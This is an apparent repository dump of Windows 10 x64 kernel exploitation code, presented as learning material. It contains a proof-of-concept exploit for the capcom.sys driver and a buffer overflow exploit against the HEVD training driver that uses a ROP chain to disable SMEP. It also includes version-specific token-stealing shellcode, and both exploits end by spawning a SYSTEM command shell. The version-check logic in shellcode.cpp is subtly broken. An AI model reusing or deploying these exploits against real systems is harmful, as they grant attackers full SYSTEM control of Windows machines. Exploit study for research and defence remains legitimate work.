├── README.md ├── capcom └── capcom.cpp ├── hevd └── bufferoverflow.cpp └── shellcode ├── README.md ├── shellcode.cpp └── shellcode.h /README.md: -------------------------------------------------------------------------------- 1 | # Windows Kernel Exploitation 2 | 3 | Repository for Windows 10 x64 kernel research, exploitation learning, and reference/supplementary code. 4 | 5 | ## Helpful resources 6 | - Vergilius Project -> https://www.vergiliusproject.com/ 7 | -------------------------------------------------------------------------------- /capcom/capcom.cpp: -------------------------------------------------------------------------------- 1 | // Exploit proof of concept for capcom.sys driver 2 | 3 | #include 4 | #include 5 | #include "shellcode.h" 6 | 7 | #define DEVICE_NAME "\\\\.\\Htsysm72FB" 8 | #define IOCTL 0xAA013044 9 | 10 | void spawnShell() 11 | { 12 | std::cout << "[+] Spawning NT AUTHORITY\\SYSTEM shell..." << std::endl; 13 | 14 | PROCESS_INFORMATION pi; 15 | ZeroMemory(&pi, sizeof(pi)); 16 | 17 | STARTUPINFOA si; 18 | ZeroMemory(&si, sizeof(si)); 19 | 20 | CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 21 | 22 | } 23 | 24 | void exploitDriver() 25 | { 26 | 27 | unsigned char payload[62]; 28 | getShellcode(payload); 29 | 30 | 31 | HANDLE DeviceHandle = CreateFileW(TEXT(DEVICE_NAME), (GENERIC_READ | GENERIC_WRITE), 0, NULL, OPEN_EXISTING, 0, NULL); 32 | 33 | if (DeviceHandle == INVALID_HANDLE_VALUE) 34 | { 35 | std::cout << "[-] Unable to create file handle." << std::endl; 36 | exit(1); 37 | } 38 | std::cout << "[+] Successfully created file handle : 0x" << DeviceHandle << std::endl; 39 | 40 | //Prep prologue of shellcode buffer 41 | unsigned char shellcode[] = 42 | "\x90" 43 | "\xE8\x00\x00\x00\x00" 44 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 45 | 46 | std::cout << "[+] Allocating memory for ring0 shellcode payload..." << std::endl; 47 | LPVOID InBufferContents = VirtualAlloc(0, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 48 | 49 | 50 | if (!InBufferContents) 51 | { 52 | std::cout << "[-] Unable to allocate memory." << std::endl; 53 | exit(1); 54 | } 55 | 56 | 57 | char* p1 = static_cast(InBufferContents) + 8; 58 | char* p2 = static_cast(InBufferContents) + 16; 59 | char* p3 = static_cast(InBufferContents) + 77; 60 | 61 | memmove(p1, shellcode, sizeof(shellcode)); 62 | memmove(InBufferContents, &p1, 0x8); 63 | //Add token stealing payload 64 | memmove(p2, payload, sizeof(payload)); 65 | //Add ret to end of payload 66 | memmove(p3, "\xc3", 0x1); 67 | 68 | 69 | std::cout << "[+] Shellcode placed at : 0x" << InBufferContents << std::endl; 70 | 71 | DWORD BytesReturned = 0; 72 | uint32_t OutBuffer = 0; 73 | 74 | int capcom = DeviceIoControl(DeviceHandle, IOCTL, InBufferContents, 0x8, &OutBuffer, 0x4, &BytesReturned, NULL); 75 | 76 | if (!capcom) 77 | { 78 | std::cout << "[-] Error communicating with driver!" << std::endl; 79 | exit(1); 80 | } 81 | std::cout << "[+] Got handle to driver." << std::endl; 82 | 83 | } 84 | 85 | int main() 86 | { 87 | std::cout << "===Capcom Driver Exploit===\n" << std::endl; 88 | exploitDriver(); 89 | spawnShell(); 90 | std::cout << "[!] Finished!" << std::endl; 91 | return 0; 92 | } 93 | 94 | -------------------------------------------------------------------------------- /hevd/bufferoverflow.cpp: -------------------------------------------------------------------------------- 1 | // HEVD 3.0 Windows 10 x64 Buffer Overflow Exploit (Windows 10 x64 2004) 2 | 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" 9 | #define IOCTL 0x222003 10 | 11 | LPVOID kernelBase() 12 | { 13 | LPVOID drivers[1024]; 14 | DWORD cbNeeded; 15 | int cDrivers, i; 16 | 17 | BOOL ntBase = EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded); 18 | 19 | if (!ntBase) 20 | { 21 | std::cout << "[-] Unable to get kernel base." << std::endl; 22 | exit(1); 23 | } 24 | 25 | std::cout << "[+] Kernel base address: 0x" << drivers[0] << std::endl; 26 | 27 | return drivers[0]; 28 | } 29 | 30 | 31 | void spawnShell() 32 | { 33 | std::cout << "[+] Spawning NT AUTHORITY\\SYSTEM shell..." << std::endl; 34 | 35 | PROCESS_INFORMATION pi; 36 | ZeroMemory(&pi, sizeof(pi)); 37 | 38 | STARTUPINFOA si; 39 | ZeroMemory(&si, sizeof(si)); 40 | 41 | CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 42 | 43 | } 44 | 45 | void exploitDriver(LPVOID kerneladdress) 46 | { 47 | 48 | unsigned char payload[62]; 49 | getShellcode(payload); 50 | 51 | unsigned char epilogue[] = 52 | "\x48\x31\xc0" 53 | "\x48\x31\xff" 54 | "\x48\x31\xf6" 55 | "\x4d\x31\xe4" 56 | "\x4d\x31\xff" 57 | "\x48\x83\xc4\x10" 58 | "\xc3"; 59 | 60 | 61 | HANDLE DeviceHandle = CreateFileW(TEXT(DEVICE_NAME), (GENERIC_READ | GENERIC_WRITE), 0, NULL, OPEN_EXISTING, 0, NULL); 62 | 63 | if (DeviceHandle == INVALID_HANDLE_VALUE) 64 | { 65 | std::cout << "[-] Unable to create file handle." << std::endl; 66 | exit(1); 67 | } 68 | std::cout << "[+] Successfully created file handle : 0x" << DeviceHandle << std::endl; 69 | 70 | std::cout << "[+] Allocating memory for ring0 shellcode payload..." << std::endl; 71 | LPVOID shellcode = VirtualAlloc(0, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 72 | 73 | 74 | if (!shellcode) 75 | { 76 | std::cout << "[-] Unable to allocate memory." << std::endl; 77 | exit(1); 78 | } 79 | 80 | 81 | char* p1 = static_cast(shellcode); 82 | char* p2 = static_cast(shellcode) + 61; 83 | 84 | memmove(p1, payload, sizeof(payload)); 85 | memmove(p2, epilogue, sizeof(epilogue)); 86 | 87 | 88 | std::cout << "[+] Shellcode placed at : 0x" << shellcode << std::endl; 89 | 90 | 91 | BYTE InBufferContents[2104] = { 0 }; 92 | 93 | INT64 pop_rcx = (INT64)kerneladdress + 0x21f06c; // 0x14021f06c POP RCX ; RET 94 | INT64 rcx_value = 0x70678; 95 | INT64 cr4 = (INT64)kerneladdress + 0x38af57; // 0x14038af57: mov cr4, ecx ; ret 96 | 97 | memset(InBufferContents, '\x90', 2072); 98 | memcpy(InBufferContents + 2072, (PINT64)&pop_rcx, 0x8); 99 | memcpy(InBufferContents + 2080, (PINT64)&rcx_value, 0x8); 100 | memcpy(InBufferContents + 2088, (PINT64)&cr4, 0x8); 101 | memcpy(InBufferContents + 2096, (PINT64)&shellcode, 0x8); 102 | 103 | DWORD BytesReturned = 0; 104 | 105 | int hacksys = DeviceIoControl(DeviceHandle, IOCTL, InBufferContents, sizeof(InBufferContents), NULL, 0x0, &BytesReturned, NULL); 106 | 107 | if (!hacksys) 108 | { 109 | std::cout << "[-] Error communicating with driver!" << std::endl; 110 | exit(1); 111 | } 112 | std::cout << "[+] Got handle to driver." << std::endl; 113 | 114 | } 115 | 116 | int main() 117 | { 118 | std::cout << "===HEVD 3.0 Buffer Overflow Exploit===\n" << std::endl; 119 | 120 | LPVOID kernel = kernelBase(); 121 | exploitDriver(kernel); 122 | spawnShell(); 123 | std::cout << "[!] Finished!" << std::endl; 124 | return 0; 125 | } 126 | 127 | -------------------------------------------------------------------------------- /shellcode/README.md: -------------------------------------------------------------------------------- 1 | # Token Stealing Payload Stub 2 | 3 | `shellcode.cpp` contains token stealing payloads for each version of Windows 10 from 1507-2004. 4 | 5 | Adding the `shellcode.h` header file to your C++ source file will allow you to dynamically grab the correct payload for the version of Windows 10 x64 the code is being run on. It can be called by creating an unsigned char array and then calling the `getShellcode()` function with the array variable name as an argument. 6 | 7 | ```c++ 8 | unsigned char payload[62]; 9 | getShellcode(payload); 10 | ``` 11 | 12 | -------------------------------------------------------------------------------- /shellcode/shellcode.cpp: -------------------------------------------------------------------------------- 1 | #include "shellcode.h" 2 | 3 | // Version 19041 4 | unsigned char shellcode_Win10_2004[]= 5 | "\x48\x31\xc0" 6 | "\x65\x48\x8b\x80\x88\x01\x00\x00" 7 | "\x48\x8b\x80\xb8\x00\x00\x00" 8 | "\x49\x89\xc0" 9 | "\x48\x8b\x80\x48\x04\x00\x00" 10 | "\x48\x2d\x48\x04\x00\x00" 11 | "\x48\x8b\x88\x40\x04\x00\x00" 12 | "\x48\x83\xf9\x04" 13 | "\x75\xe6" 14 | "\x4c\x8b\x88\xb8\x04\x00\x00" 15 | "\x4d\x89\x88\xb8\x04\x00\x00"; 16 | 17 | // Version 18362 18 | unsigned char shellcode_Win10_1903_1909[]= 19 | "\x48\x31\xc0" 20 | "\x65\x48\x8b\x80\x88\x01\x00\x00" 21 | "\x48\x8b\x80\xb8\x00\x00\x00" 22 | "\x49\x89\xc0" 23 | "\x48\x8b\x80\xf0\x02\x00\x00" 24 | "\x48\x2d\xf0\x02\x00\x00" 25 | "\x48\x8b\x88\xe8\x02\x00\x00" 26 | "\x48\x83\xf9\x04" 27 | "\x75\xe6" 28 | "\x4c\x8b\x88\x60\x03\x00\x00" 29 | "\x4d\x89\x88\x60\x03\x00\x00"; 30 | 31 | // Versions: 17763 | 17134 | 16299 | 15063 32 | unsigned char shellcode_Win10_1703_1809[] = 33 | "\x48\x31\xc0" 34 | "\x65\x48\x8b\x80\x88\x01\x00\x00" 35 | "\x48\x8b\x80\xb8\x00\x00\x00" 36 | "\x49\x89\xc0" 37 | "\x48\x8b\x80\xe8\x02\x00\x00" 38 | "\x48\x2d\xe8\x02\x00\x00" 39 | "\x48\x8b\x88\xe0\x02\x00\x00" 40 | "\x48\x83\xf9\x04" 41 | "\x75\xe6" 42 | "\x4c\x8b\x88\x58\x03\x00\x00" 43 | "\x4d\x89\x88\x58\x03\x00\x00"; 44 | 45 | // Version 14393 46 | unsigned char shellcode_Win10_1507_1607[] = 47 | "\x48\x31\xc0" 48 | "\x65\x48\x8b\x80\x88\x01\x00\x00" 49 | "\x48\x8b\x80\xb8\x00\x00\x00" 50 | "\x49\x89\xc0" 51 | "\x48\x8b\x80\xf0\x02\x00\x00" 52 | "\x48\x2d\xf0\x02\x00\x00" 53 | "\x48\x8b\x88\xe8\x02\x00\x00" 54 | "\x48\x83\xf9\x04" 55 | "\x75\xe6" 56 | "\x4c\x8b\x88\xb8\x04\x00\x00" 57 | "\x4d\x89\x88\xb8\x04\x00\x00"; 58 | 59 | 60 | int checkVersion() 61 | { 62 | std::cout << "[+] Checking Windows version..." << std::endl; 63 | 64 | HMODULE moduleHandle{}; 65 | using RtlGetNtVersionNumbersType = void (*)(short*, short*, short*); 66 | if (moduleHandle = LoadLibrary(L"ntdll.dll")) 67 | { 68 | short i = 0, j = 0, p = 0; 69 | RtlGetNtVersionNumbersType RtlGetNtVersionNumbers = reinterpret_cast( 70 | GetProcAddress(moduleHandle, "RtlGetNtVersionNumbers")); 71 | if (RtlGetNtVersionNumbers) 72 | { 73 | RtlGetNtVersionNumbers(&i, &j, &p); 74 | printf("[+] Version: Windows %d.%d.%d\n", i, j, p); 75 | } 76 | FreeLibrary(moduleHandle); 77 | return p; 78 | } 79 | } 80 | 81 | void getShellcode(unsigned char* shellcode) 82 | { 83 | int N = 63; 84 | if (checkVersion() == 19041) 85 | { 86 | for (int i = 0; i < N; i++) 87 | { 88 | shellcode[i] = shellcode_Win10_2004[i]; 89 | } 90 | } 91 | else if (checkVersion() == 18362) 92 | { 93 | for (int i = 0; i < N; i++) 94 | { 95 | shellcode[i] = shellcode_Win10_1903_1909[i]; 96 | } 97 | } 98 | else if (checkVersion() == 17763 | 17134 | 16299 | 15063) 99 | { 100 | for (int i = 0; i < N; i++) 101 | { 102 | shellcode[i] = shellcode_Win10_1703_1809[i]; 103 | } 104 | } 105 | else if (checkVersion() == 10240 | 10586 | 14393) 106 | { 107 | for (int i = 0; i < N; i++) 108 | { 109 | shellcode[i] = shellcode_Win10_1507_1607[i]; 110 | } 111 | } 112 | else 113 | { 114 | std::cout << "[-] Windows version incompatible with payloads. Exiting..." << std::endl; 115 | exit(1); 116 | } 117 | } -------------------------------------------------------------------------------- /shellcode/shellcode.h: -------------------------------------------------------------------------------- 1 | #ifndef SHELLCODE_H_INCLUDED 2 | #define SHELLCODE_H_INCLUDED 3 | 4 | #include 5 | #include 6 | 7 | void getShellcode(unsigned char* shellcode); 8 | 9 | #endif --------------------------------------------------------------------------------